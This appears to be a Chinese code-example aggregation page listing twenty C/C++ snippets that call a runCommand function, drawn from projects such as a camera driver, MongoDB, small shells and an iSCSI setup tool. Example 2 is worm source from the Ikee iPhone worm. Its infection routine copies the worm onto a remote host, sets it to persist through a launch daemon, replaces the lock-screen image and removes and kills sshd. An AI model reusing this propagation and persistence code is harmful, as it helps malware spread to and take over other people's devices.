• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ runCommand函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中runCommand函数的典型用法代码示例。如果您正苦于以下问题:C++ runCommand函数的具体用法?C++ runCommand怎么用?C++ runCommand使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了runCommand函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: OSD

void OSD(u8_t x, u8_t y, char *str) {
	int i;
	if (_strlen(str) > 14) { str[13] = 0; }

	u8_t args[17] = {_strlen(str), _strlen(str)-1, (y & 0xF) | ((x & 0x3) << 4)};

	for(i=0; i<_strlen(str); i++) {
		char c = str[i];
		if ((c >= '0') && (c <= '9')) {
			str[i] -= '0';
		} else if ((c >= 'A') && (c <= 'Z')) {
			str[i] -= 'A';
			str[i] += 10;
		} else if ((c >= 'a') && (c <= 'z')) {
			str[i] -= 'a';
			str[i] += 36;
		}

		args[3+i] = str[i];
	}

	runCommand(VC0706_OSD_ADD_CHAR, args, _strlen(str)+3, 5, TRUE);
	//printBuff();
}
开发者ID:Comdex,项目名称:addon_sdk_v1,代码行数:24,代码来源:sercam.c


示例2: infectHost

int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand("uname -n", host) == 0)
    {
        //printf("\n\r - Infecting: ");
        prunCommand("uname -n", host);
        prunCommand("rm /bin/sshpass", host);
        prunCommand("rm /bin/poc-bbot", host);
        //prunCommand("killall poc-bbot", host);
        if (CopyFile("/bin/poc-bbot", "/bin/poc-bbot", host) == 0 && CopyFile("/bin/sshpass", "/bin/sshpass", host) == 0)
        {
            //printf(" - Replicated successfully");
            prunCommand("rm /var/mobile/Library/LockBackground.jpg; echo \"\r\n - Removed old background\"", host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/mobile/Library/LockBackground.jpg", host);
            CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/log/youcanbeclosertogod.jpg", host);
            //CopyFile("/var/mobile/Library/LockBackground.jpg", "/var/mobile/Library/LockBackground.jpg", host); // We aren't 
installing an app.
           
            //printf(" - Background set (ast.jpg).");
            CopyFile("/System/Library/LaunchDaemons/com.ikey.bbot.plist", "/System/Library/LaunchDaemons/com.ikey.bbot.plist", 
host);
            prunCommand("launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist", host);
            // I didn't want to have to do this.
            prunCommand("rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload 
/Library/LaunchDaemons/com.openssh.sshd.plist", host);
            prunCommand("killall sshd", host);
            //printf("\n\r - Program set to startup on boot");
            //prunCommand("reboot", host)
            //printf("\n\r - Rebooting phone!");
            //CopyFile("ngtgyu.m4r", "/var/mobile/ngtgyu.m4r", host);
            //printf("\n\r - Ringtone set (ngtgyu.m4r).");
        }
开发者ID:cyberthreats,项目名称:malware-source-ikee,代码行数:36,代码来源:worm.c


示例3: switch

void ConsoleHandler::handleCommand(const std::string& cmd) {
  bool parseString = false;
  std::string arg;
  std::vector<std::string> argList;

  for (auto ch : cmd) {
    switch (ch) {
    case ' ':
      if (parseString) {
        arg += ch;
      } else if (!arg.empty()) {
        argList.emplace_back(std::move(arg));
        arg.clear();
      }
      break;

    case '"':
      if (!arg.empty()) {
        argList.emplace_back(std::move(arg));
        arg.clear();
      }

      parseString = !parseString;
      break;

    default:
      arg += ch;
    }
  }

  if (!arg.empty()) {
    argList.emplace_back(std::move(arg));
  }

  runCommand(argList);
}
开发者ID:bitumencoin,项目名称:valentinecoinwallet,代码行数:36,代码来源:ConsoleHandler.cpp


示例4: hardware

void hardware(const int write_to_file, FILE *global_ofile) {
  char buffer[BUF_SIZ];
  char os[BUF_SIZ];
  char model[BUF_SIZ];
  char cache[BUF_SIZ];
  char os_command[] = "uname -s -r";
#ifdef NO_UNAME
  os[0] = '\0';
#else
  runCommand(os_command, os);
#endif
  if(NULL != strstr(os, "Linux")) {
    readProcCpuInfo (model, cache);
  } else {
    model[0] = '\0';
    cache[0] = '\0';
  }
  sprintf(buffer, "CPU                 : %s\n", model);
  output_string(buffer, write_to_file, global_ofile);
  sprintf(buffer, "L2 Cache            : %s\n", cache);
  output_string(buffer, write_to_file, global_ofile);
  sprintf(buffer, "OS                  : %s\n", os);
  output_string(buffer, write_to_file, global_ofile);
}
开发者ID:BlueFireworks,项目名称:examples-v2,代码行数:24,代码来源:hardware.c


示例5: runCommandDispatch

static Bool
runCommandDispatch(CompDisplay *d,
                   CompAction *action,
                   CompActionState state,
                   CompOption *option,
                   int nOption)
{
   CompScreen *s;
   Window xid;

   xid = getIntOptionNamed(option, nOption, "root", 0);
   s = findScreenAtDisplay(d, xid);

   if (s)
     {
        int index = COMMANDS_DISPLAY_OPTION_COMMAND0 + action->priv.val;

        COMMANDS_DISPLAY(d);

        runCommand(s, cd->opt[index].value.s);
     }

   return TRUE;
}
开发者ID:zmike,项目名称:compiz,代码行数:24,代码来源:commands.c


示例6: splitChunkAtMultiplePoints

StatusWith<boost::optional<ChunkRange>> splitChunkAtMultiplePoints(
        OperationContext* txn,
        const ShardId& shardId,
        const NamespaceString& nss,
        const ShardKeyPattern& shardKeyPattern,
        ChunkVersion collectionVersion,
        const BSONObj& minKey,
        const BSONObj& maxKey,
const std::vector<BSONObj>& splitPoints) {
    invariant(!splitPoints.empty());
    invariant(minKey.woCompare(maxKey) < 0);

    const size_t kMaxSplitPoints = 8192;

    if (splitPoints.size() > kMaxSplitPoints) {
        return {ErrorCodes::BadValue,
                str::stream() << "Cannot split chunk in more than " << kMaxSplitPoints
                << " parts at a time."};
    }

    BSONObjBuilder cmd;
    cmd.append("splitChunk", nss.ns());
    cmd.append("configdb",
               Grid::get(txn)->shardRegistry()->getConfigServerConnectionString().toString());
    cmd.append("from", shardId.toString());
    cmd.append("keyPattern", shardKeyPattern.toBSON());
    collectionVersion.appendForCommands(&cmd);
    cmd.append(kMinKey, minKey);
    cmd.append(kMaxKey, maxKey);
    cmd.append("splitKeys", splitPoints);

    BSONObj cmdObj = cmd.obj();

    Status status{ErrorCodes::InternalError, "Uninitialized value"};
    BSONObj cmdResponse;

    auto shard = Grid::get(txn)->shardRegistry()->getShard(txn, shardId);
    if (!shard) {
        status =
            Status(ErrorCodes::ShardNotFound, str::stream() << "shard " << shardId << " not found");
    } else {
        auto cmdStatus = shard->runCommand(txn,
                                           ReadPreferenceSetting{ReadPreference::PrimaryOnly},
                                           "admin",
                                           cmdObj,
                                           Shard::RetryPolicy::kNotIdempotent);
        if (!cmdStatus.isOK()) {
            status = std::move(cmdStatus.getStatus());
        } else {
            status = std::move(cmdStatus.getValue().commandStatus);
            cmdResponse = std::move(cmdStatus.getValue().response);
        }
    }

    if (!status.isOK()) {
        log() << "Split chunk " << redact(cmdObj) << " failed" << causedBy(redact(status));
        return {status.code(), str::stream() << "split failed due to " << status.toString()};
    }

    BSONElement shouldMigrateElement;
    status = bsonExtractTypedField(cmdResponse, kShouldMigrate, Object, &shouldMigrateElement);
    if (status.isOK()) {
        auto chunkRangeStatus = ChunkRange::fromBSON(shouldMigrateElement.embeddedObject());
        if (!chunkRangeStatus.isOK()) {
            return chunkRangeStatus.getStatus();
        }

        return boost::optional<ChunkRange>(std::move(chunkRangeStatus.getValue()));
    } else if (status != ErrorCodes::NoSuchKey) {
        warning()
                << "Chunk migration will be skipped because splitChunk returned invalid response: "
                << redact(cmdResponse) << ". Extracting " << kShouldMigrate << " field failed"
                << causedBy(redact(status));
    }

    return boost::optional<ChunkRange>();
}
开发者ID:ChineseDr,项目名称:mongo,代码行数:77,代码来源:shard_util.cpp


示例7: ShardStatus

 ShardStatus Shard::getStatus() const {
     return ShardStatus( *this , runCommand( "admin" , BSON( "serverStatus" << 1 ) , true ) ,
                                 runCommand( "admin" , BSON( "listDatabases" << 1 ) , true ) );
 }
开发者ID:7segments,项目名称:mongo,代码行数:4,代码来源:shard.cpp


示例8: runCommand

bool ProcessesRemote::setIoNiceness(long pid, int priorityClass, int priority) {
    emit runCommand("ionice " + QString::number(pid) + " " + QString::number(priorityClass) + " " + QString::number(priority), (int)Ionice);
    return true;
}
开发者ID:KDE,项目名称:kde-workspace,代码行数:4,代码来源:processes_remote_p.cpp


示例9: runCommand

byte Elm327::begin(){
	ELM_PORT.begin(ELM_BAUD_RATE);
	char data[20];
	runCommand("AT E0",data,20);
	return runCommand("AT SP 0",data,20);
}
开发者ID:rresac,项目名称:arduino-ELM327,代码行数:6,代码来源:ELM327.cpp


示例10: runCommand

result_t MongoCollection::dropIndex(exlib::string name,
    v8::Local<v8::Object>& retVal)
{
    return runCommand("deleteIndexes", "index", name, retVal);
}
开发者ID:asionius,项目名称:fibjs,代码行数:5,代码来源:MongoCollection.cpp


示例11: QDialog

Dialog::Dialog(QWidget *parent) :
QDialog(parent, Qt::Dialog | Qt::WindowStaysOnTopHint | Qt::CustomizeWindowHint),
ui(new Ui::Dialog),
mSettings(new LxQt::Settings("lxqt-runner", this)),
mGlobalShortcut(0),
mLockCascadeChanges(false),
mConfigureDialog(0) {
    ui->setupUi(this);
    setWindowTitle("LXDE-Qt Runner");

    connect(LxQt::Settings::globalSettings(), SIGNAL(iconThemeChanged()), this, SLOT(update()));

    connect(ui->closeButton, SIGNAL(clicked()), this, SLOT(hide()));

    connect(mSettings, SIGNAL(settingsChanged()), this, SLOT(applySettings()));

    ui->commandEd->installEventFilter(this);

    connect(ui->commandEd, SIGNAL(textChanged(QString)), this, SLOT(setFilter(QString)));
    connect(ui->commandEd, SIGNAL(returnPressed()), this, SLOT(runCommand()));

    mCommandItemModel = new CommandItemModel(this);
    ui->commandList->installEventFilter(this);
    ui->commandList->setModel(mCommandItemModel);
    ui->commandList->setEditTriggers(QAbstractItemView::NoEditTriggers);
    connect(ui->commandList, SIGNAL(clicked(QModelIndex)), this, SLOT(runCommand()));
    setFilter("");
    dataChanged();

    ui->commandList->setItemDelegate(new HtmlDelegate(QSize(32, 32), ui->commandList));

    // Popup menu ...............................
    QAction *a = new QAction(XdgIcon::fromTheme("configure"), tr("Configure lxqt-runner"), this);
    connect(a, SIGNAL(triggered()), this, SLOT(showConfigDialog()));
    addAction(a);

    //    a = new QAction(XdgIcon::fromTheme("edit-clear-history"), tr("Clear lxqt-runner History"), this);
    //    connect(a, SIGNAL(triggered()), mCommandItemModel, SLOT(clearHistory()));
    //    addAction(a);

    mPowerManager = new LxQt::PowerManager(this);
    addActions(mPowerManager->availableActions());
    mScreenSaver = new LxQt::ScreenSaver(this);
    addActions(mScreenSaver->availableActions());

    setContextMenuPolicy(Qt::ActionsContextMenu);

    QMenu *menu = new QMenu(this);
    menu->addActions(actions());
    ui->actionButton->setMenu(menu);
    ui->actionButton->setIcon(XdgIcon::fromTheme("configure"));
    // End of popup menu ........................

    applySettings();


    connect(mGlobalShortcut, SIGNAL(activated()), this, SLOT(showHide()));
    connect(mGlobalShortcut, SIGNAL(shortcutChanged(QString, QString)), this, SLOT(shortcutChanged(QString, QString)));

    resize(mSettings->value("dialog/width", 400).toInt(), size().height());


    connect(mCommandItemModel, SIGNAL(layoutChanged()), this, SLOT(dataChanged()));
}
开发者ID:MoonLightDE,项目名称:MoonLightDE,代码行数:64,代码来源:dialog.cpp


示例12: main

int main(int argc, const char ** argv) {
    char command[MAX_COMMAND_LEN + 1];
    char * nextCommand = NULL;
    struct jobSet jobList = { NULL, NULL };
    struct job newJob;
    FILE * input = stdin;
    int i;
    int status;
    int inBg;

    if (argc > 2) {
        fprintf(stderr, "unexpected arguments; usage: ladsh1 "
                        "<commands>\n");
        exit(1);
    } else if (argc == 2) {
        input = fopen(argv[1], "r");
        if (!input) {
            perror("fopen");
            exit(1);
        }
    }

    /* don't pay any attention to this signal; it just confuses 
       things and isn't really meant for shells anyway */
    signal(SIGTTOU, SIG_IGN);
    
    while (1) {
        if (!jobList.fg) {
            /* no job is in the foreground */

            /* see if any background processes have exited */
            checkJobs(&jobList);

            if (!nextCommand) {
                if (getCommand(input, command)) break;
                nextCommand = command;
            }

            if (!parseCommand(&nextCommand, &newJob, &inBg) &&
                              newJob.numProgs) {
                runCommand(newJob, &jobList, inBg);
            }
        } else {
            /* a job is running in the foreground; wait for it */
            i = 0;
            while (!jobList.fg->progs[i].pid) i++;

            waitpid(jobList.fg->progs[i].pid, &status, 0);

            jobList.fg->runningProgs--;
            jobList.fg->progs[i].pid = 0;
        
            if (!jobList.fg->runningProgs) {
                /* child exited */

                removeJob(&jobList, jobList.fg);
                jobList.fg = NULL;

                /* move the shell to the foreground */
                if (tcsetpgrp(0, getpid()))
                    perror("tcsetpgrp");
            }
        }
    }

    return 0;
}
开发者ID:iloveloveyou,项目名称:chirico,代码行数:67,代码来源:ladsh1.c


示例13: main

int main()
{
	//This defines the signal interrupt behavior.
	init();
	//Raw command line input, stored as char array
	char *rawInput;
	//Parsed command line input, arguments stored as array of char arrays
	struct job parsedInput;	
	//Initialize the "status" member variable in case user calls it first.
	strcpy(parsedInput.exitStatus, "none");	
	
	//Loop runs indefinitely, until user enters "exit" command.
	while(1)
	{
		//Reset all variables regarding command line input.
		parsedInput.isInput = 0;
		parsedInput.isOutput = 0;
		parsedInput.isBackground = 0;
		parsedInput.argCount = 0;
		
		//Prints the command line.
		fflush(stdout);
		printf(": ");

		//Reads input from the command line, stored as char array.
		rawInput = readCommandLine();

		//If user does not enter anything, or enters a comment, no need to process input.
		if(rawInput[0] == '\n' || rawInput[0] == '#')
		{
			free(rawInput);
			continue;
		}

		/*Since the testing script doesn't end with an "exit" statement, this prevents the program
		from running in an infinite loop. If the user enters a blank line, it actually includes a 
		/n character. This runs when hitting the end of the input file.*/
		if(rawInput[0] == '\0')
			break;
		
		//Process raw input, returns tokenized array with appropriate Bool values set.
		parseCommandLine(rawInput, &parsedInput);
		
		/*If user tries to enter only redirect and/or background characters, issues error. 
		commented out to avoid a preposterous amount of error messages when the grading script 
		runs indefinitely. Since this condition isn't explicitly checked for in the script,
		shouldn't cause a problem.*/
		if(parsedInput.argCount == 0)
		{
//			printf("Error: Invalid syntax. Enter at least 1 argument at the command line.\n");
			continue;
		}
		
		//If user calls built-in function "exit", exit the shell program.
		if (strcmp(parsedInput.args[0], "exit") == 0)
			break;
		
		//If user calls "cd" or "status", call those built in commands.
		else if(strcmp(parsedInput.args[0], "cd") == 0 || strcmp(parsedInput.args[0], "status") == 0 )
			runBuiltIn(&parsedInput);
		//In all other cases, run the command.
		else
			runCommand(&parsedInput);
		
		free(rawInput);
	}
	exit(0);
}
开发者ID:joshseifert,项目名称:OS,代码行数:68,代码来源:seiferjo.smallsh.c


示例14: checkSendMessage

void checkSendMessage() {
	if ((compareArray(addressbit, myAddressbit, 8) == 1) || (compareArray(addressbit, publicAddressbit, 8) == 1))
		runCommand();
		
	resetListening();
}
开发者ID:Kledal,项目名称:TwoWayCommunication,代码行数:6,代码来源:Decoder.c


示例15: main

int main(int argc, char** argv){
	//Setting the signal interrupt to its default function. 
	signal(SIGINT, handler);

	//get the pid of the current process
	pid = getpid();

	//Allocating space to store the previous commands.
	int numCmds = 0;
	char **cmds = (char **)malloc(1000 * sizeof(char *));

	int printDollar = 1;

	char input[MAXLINE];
	char** tokens;

	int notEOF = 1;
	int i;

	FILE* stream = stdin;

	while(notEOF) { 
		if (printDollar == 1){ 
			printf("$ "); // the prompt
			fflush(stdin);
		}

		char *in = fgets(input, MAXLINE, stream); //taking input one line at a time

		//Checking for EOF
		if (in == NULL){
			if (DEBUG) printf("EOF found\n");
			exit(0);
		}

		//add the command to the command list.
		cmds[numCmds] = (char *)malloc(sizeof(input));
		strcpy(cmds[numCmds++], input); 

		// Calling the tokenizer function on the input line    
		tokens = tokenize(input);

		// check tokens and execute corresponding command
		if(tokens[0] == NULL){
			printf("");
		}
		else if( is_equal(tokens[0], "run\0") ) {
    			runCommand(tokens[1]);
		}
		else if(is_equal(tokens[0], "cd\0")){
			cdCommand(tokens[1]);
		}
		else if(is_equal(tokens[0], "cron\0")){
			cronCommand(tokens[1]);
		}
		else if(is_equal(tokens[0], "parallel\0")){
			parallelCommand(tokens);
		}
		else{
			executeFile(tokens);
		} 
	}
  
  
	printf("Print and deallocate %s\n", tokens[0]);
	// Freeing the allocated memory	
	for(i=0;tokens[i]!=NULL;i++){
		free(tokens[i]);
	}
	free(tokens);
	return 0;
}
开发者ID:Tanmay-r,项目名称:Operating-Systems,代码行数:72,代码来源:jash.c


示例16: runCommand

    BSONObj DBClientWithCommands::getLastErrorDetailed() { 
        BSONObj info;
        runCommand("admin", getlasterrorcmdobj, info);
		return info;
    }
开发者ID:jamesgolick,项目名称:mongo,代码行数:5,代码来源:dbclient.cpp


示例17: runCommand

 BSONObj DBClientWithCommands::getPrevError() { 
     BSONObj info;
     runCommand("admin", getpreverrorcmdobj, info);
     return info;
 }
开发者ID:tanfulai,项目名称:mongo,代码行数:5,代码来源:dbclient.cpp


示例18: runCommand

/*
 * Traverse through linked list, and fork process child per program
 * Sets up pipeline between child processes.
 * Recursive function
 */
int runCommand(int n, Pgm *p) {
    pid_t pid;
    if (p == NULL) {
        return -1;
    } else {
        /* Create pipe */
        int pipefd[2];

        if (n > 0) {
            if (pipe(pipefd) == 0) {
                fprintf(stderr, "Parent %i: Created pipe\n", n);
            }
        }

        /* fork a child process */
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Parent %i: Fork failed", n);
            return 1;
        } else if (pid > 0) {
            /* Parent process */

            /*** SET UP READING END ***/
            /* Skip pipe for first process */
            if (n > 0) {

                /* close writing end */
                if (close(pipefd[1]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
                /* Connect reading end to STDIN */
                dup2(pipefd[0], 0);
                /* close reading end */
                if (close(pipefd[0]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
            }


            wait(NULL);
            fprintf(stderr, "Parent %i: Finished waiting\n", n);
        } else {
            /* child process */
            fprintf(stderr, "Hej from Child%i\n", n);

            /*** SET UP WRITING END ***/
            /* Skip pipe for first process */
            if (n > 0) {
                /* close reading end */
                if (close(pipefd[0]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
                /* Connect writing end to STDOUT */
                dup2(pipefd[1], 1);

                /* close writing end */
                if (close(pipefd[1]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
            }
            /* Recursive call to runCommand, itself */
            runCommand(n + 1, p->next);
            /* Execute program binary */
            if (strcmp(p->pgmlist[0], "cd") == 0) {
                int size = 256;
                int length = 0;
                char path[256];
                if (strcmp(p->pgmlist[1], "..") == 0) {
                    /*Get Current path and put it in path*/
                    getcwd(path, size);
                    /*Print the path*/
                    printf("%s\n", path);
                    /*Get the length of the path string*/
                    length = strlen(path);
                    /*search backwards for for first occurrence of / and replace with \0 */
                    while (path[length] != '/')
                        length--;
                    path[length] = '\0';
                    printf("%s\n", path);
                } else {
                    strcpy(path, p->pgmlist[1]);
                }
                chdir(path);
            } else {
                execvp(p->pgmlist[0], p->pgmlist);
            }
        }
        return 0;
    }
}
开发者ID:bregell,项目名称:EDA092,代码行数:95,代码来源:lsh.c


示例19: runCommand

void ConsoleHandler::handleCommand(const std::string& cmd) {
  std::vector<std::string> args;
  boost::split(args, cmd, boost::is_any_of(" "), boost::token_compress_on);
  runCommand(args);
}
开发者ID:iamsmooth,项目名称:bitcedi,代码行数:5,代码来源:ConsoleHandler.cpp


示例20: initialize

void initialize() {

    system("clear");


    String ip = "", netmask = "", command = "", alltargetsStr = "", currtarget = "", iqn = "", sendtargets = "", sql = "";
    String disklist = "", assocvol = "", mountpt = "", avspace = "", command1 = "", sql1 = "";


    int counter = 1;
    //sqlite3 information
    sqlite3 *db;
    int rc = 0;

    //open sqlite3 db
    rc = sqlite3_open(DBNAME,&db);
    if (rc){
       printf("\nCannot open database.\n");
       exit(0);
    }

    // get network information of initiator
    // what if interface is not eth0? what if eth1...?
    runCommand("ip addr show eth0 | grep \'inet \' | awk \'{print $2}\' | cut -f1 -d\'/\'", ip);
    runCommand("ip addr show eth0 | grep \'inet \' | awk \'{print $2}\' | cut -f2 -d\'/\'", netmask);
    // printf("*****  Network information  *****\n");
    ip[strlen(ip)] = '\0';
    netmask[strlen(netmask)] = '\0';
    syslog(LOG_INFO, "DiskPooling: Initiator IP address: %s/%s\n\n", ip, netmask);


    // do nmap for active hosts with port 3260 open
    // syslog(LOG_INFO, "DiskPooling: Scanning network...\n");
    sprintf(command, "nmap -v -n %s%s%s -p 3260 | grep open | awk '/Discovered/ {print $NF}'", ip, "/", netmask);
    runCommand(command, alltargetsStr);

    // discover iscsi targets on hosts scanned successfully
    char *ptr;
    ptr = strtok(alltargetsStr, "\n");

    while(ptr != NULL) {
    	printf("%s is a target.\n", ptr);
    	sprintf(sendtargets,"iscsiadm -m discovery -t sendtargets -p %s | awk '{print $2}'",ptr);
    	runCommand(sendtargets,iqn);
        printf("%s\n", iqn);
        sprintf(sql,"insert into Target(tid, ipadd,iqn) values (%d, '%s','%s');",counter, ptr,iqn);

        printf("** initconf, sql = %s\n", sql);

        rc = sqlite3_exec(db,sql,0,0,0);
        if (rc != SQLITE_OK){
            printf("\nDid not insert successfully!\n");
            exit(0);
        }
        strcpy(sendtargets,"");
        strcpy(sql,"");
        strcpy(iqn, "");
        ptr = strtok(NULL, "\n");
        counter++;
    }

    printf("\n\nLogging in to targets...");
    system("iscsiadm -m node --login");
    printf("\n\nAvailable partitions written to file \"%s\"\n", AV_DISKS);
    sleep(5);
    sprintf(command, "cat /proc/partitions > '%s'", AV_DISKS);
    system(command);
    system("cat /proc/partitions");

    makeVolume(0);

    runCommand("cat '../file_transaction/AvailableDisks.txt' | grep sd[b-z] | awk '{print $4}'",disklist);

    // syslog(LOG_INFO, "DiskPooling: DONE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");

    // syslog(LOG_INFO, "DiskPooling: Disklist before: %s\n\n", disklist);
    //strcat(disklist, "\n");
    char *ptr1;
    //int counter = 1;    // to aidz: di ako sure dito ah.. pano kung nag delete then init_conf sure ba na 1 lagi tapos sunod sunod?
    ptr1 = strtok(disklist,"\n");
    // syslog(LOG_INFO, "DiskPooling: PTR Before: %s\n\n", ptr1);
    // syslog(LOG_INFO, "DiskPooling: DIskList after: %s\n\n", disklist);
    counter = 1;
    while(ptr1 != NULL){
    //    syslog(LOG_INFO, "DiskPooling: PTR: %s\n\n", ptr1);
    //    syslog(LOG_INFO, "DiskPooling: INSIDE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
       strcat(assocvol,"/dev/vg");
       strcat(assocvol,ptr1);
       strcat(assocvol,"/lv");
       strcat(assocvol,ptr1);


       strcat(mountpt,"/mnt/lv");
       strcat(mountpt,ptr1);

       sprintf(command1,"lvdisplay %s | grep 'LV Size' | awk '{print $3,$4}'",assocvol);

       runCommand(command1,avspace);

       // edit here not sure if working (assume: avspace = "12.3 GiB")
//.........这里部分代码省略.........
开发者ID:int-argc,项目名称:CVFS2.0,代码行数:101,代码来源:initial_configurations_prev.c



注:本文中的runCommand函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ runCuda函数代码示例发布时间:2022-05-30
下一篇:
C++ runAction函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap